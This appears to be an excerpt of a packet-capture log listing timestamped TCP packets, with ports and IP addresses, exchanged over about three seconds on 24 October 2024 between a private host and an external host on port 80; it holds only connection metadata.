Oct 24, 2024 04:57:49.955616951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.955632925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.955646992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.955662966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:49.955682993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:49.955715895 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.075046062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.075063944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.075079918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.075139999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.118432999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.118447065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.118470907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.165031910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.194650888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.194668055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.194684029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.194709063 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.264909983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.306857109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.306873083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.306919098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.313515902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.313532114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.313546896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.313579082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.408379078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.432874918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.432890892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.432908058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.432923079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.432929039 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.432955980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.433813095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.433829069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.433842897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.433875084 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.517802954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.552254915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.552326918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.552365065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.552392006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.552400112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.552438021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.552448988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.552474022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.552517891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.610248089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.610294104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.610399961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.671603918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.671683073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.671720982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.671725988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.671757936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.671794891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.671801090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.671827078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.671861887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.671864986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.791018963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.791076899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.791114092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.791148901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.791183949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.791218042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.791254997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.791302919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.791302919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.791302919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.791302919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.909893036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.909960032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.909991980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.910027981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.910057068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.910063028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.910079002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.910099030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.910142899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.910279989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.910315037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.910350084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.910365105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:50.910384893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:50.910434008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.029318094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.029362917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.029401064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.029422998 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.029438019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.029508114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.029556036 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.029628038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.029661894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.029697895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.029728889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.029732943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.029747009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.148540974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.148578882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.148608923 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.148617983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.148668051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.148706913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.148741961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.148780107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.148802042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.148881912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.148916960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.148935080 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.148952007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.149009943 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.149146080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.149179935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.149213076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.149235964 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.195063114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.268111944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.268177032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.268227100 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.268232107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.268285990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.268318892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.268342018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.268356085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.268388987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.268421888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.268425941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.268497944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.268659115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.268709898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.268743038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.268754959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.314675093 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.387445927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.387509108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.387561083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.387562990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.387595892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.387629986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.387665033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.387677908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.387700081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.387728930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.387737036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.387783051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.387917042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.387947083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.387995958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.388010025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.388076067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.388130903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.506676912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.506715059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.506767988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.506803036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.506831884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.506839037 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.506865978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.506895065 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.506902933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.506915092 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.506938934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.507091999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.507126093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.507139921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.507162094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.507168055 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.507301092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.507347107 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.507379055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.549038887 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.625933886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.625992060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.626030922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.626065016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.626085043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.626101017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.626126051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.626136065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.626171112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.626188040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.626378059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.626408100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.626429081 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.626461029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.626496077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.626548052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.626548052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.626661062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.674103975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.674135923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.674236059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.745193005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745228052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745261908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745296001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745315075 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.745328903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745345116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.745363951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745430946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745460033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745481968 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.745511055 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.745538950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745641947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745692968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745697975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.745728016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745762110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.745778084 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.799129963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.838093996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.838130951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.838186026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.838293076 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.865284920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.865317106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:51.865354061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:51.908401966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.018695116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.018733978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.018786907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.018814087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.018870115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.018903017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.018913031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.018939018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.018984079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.019023895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019062042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019095898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019100904 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.019495010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019527912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019541979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.019562960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019596100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019606113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.019646883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019680023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019690990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.019715071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019747972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019758940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.019783974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.019824982 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.020123005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.064706087 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.077871084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.077929020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.077961922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.077984095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.104177952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.104218006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.104250908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.104254007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.104288101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.104296923 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.105612040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.105642080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.105664968 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.137222052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.137257099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.137303114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.189651966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.197009087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.197068930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.197102070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.197112083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.223356009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.223392010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.223414898 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.223426104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.223469973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.224932909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.224963903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.224996090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.225008011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.225030899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.225073099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.310024977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.310040951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.310050964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.310394049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.316335917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.316346884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.316358089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.316384077 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.316416979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.342561007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.342571974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.342622042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.342632055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.342631102 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.342734098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.344161034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.344177961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.344217062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.344238997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.344248056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.344275951 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.429439068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.429478884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.429514885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.429529905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.435712099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.435746908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.435789108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.435800076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.435837984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.461968899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.462004900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.462042093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.462116957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.463656902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.463694096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.463720083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.463730097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.463772058 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.463783026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.463816881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.463859081 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.548801899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.548844099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.548893929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.548902988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.554946899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.554979086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:52.555008888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:52.555035114 CEST	80	49774	185.215.113.16	192.168.2.6
